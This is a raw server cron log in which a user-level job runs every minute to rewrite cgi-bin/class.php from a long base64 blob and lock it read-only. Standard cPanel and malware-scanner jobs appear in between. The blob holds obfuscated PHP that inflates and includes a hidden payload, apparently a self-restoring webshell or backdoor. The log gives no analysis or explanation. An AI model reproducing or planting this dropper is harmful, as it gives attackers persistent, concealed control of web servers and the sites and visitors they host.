Nov 15 10:16:01 server CROND[14255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:17:01 server CROND[14548]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:18:01 server CROND[14817]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:19:01 server CROND[15185]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:20:01 server CROND[15459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:20:01 server CROND[15460]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:20:01 server CROND[15461]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 10:20:01 server CROND[15462]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 10:20:01 server CROND[15465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:21:01 server CROND[15799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:22:01 server CROND[16077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:23:01 server CROND[16343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:24:01 server CROND[16614]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:25:01 server CROND[16984]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:25:01 server CROND[16983]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:25:01 server CROND[16985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:25:01 server CROND[16986]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:26:01 server CROND[17313]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:27:01 server CROND[17651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:27:01 server CROND[17652]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 10:28:01 server CROND[17920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
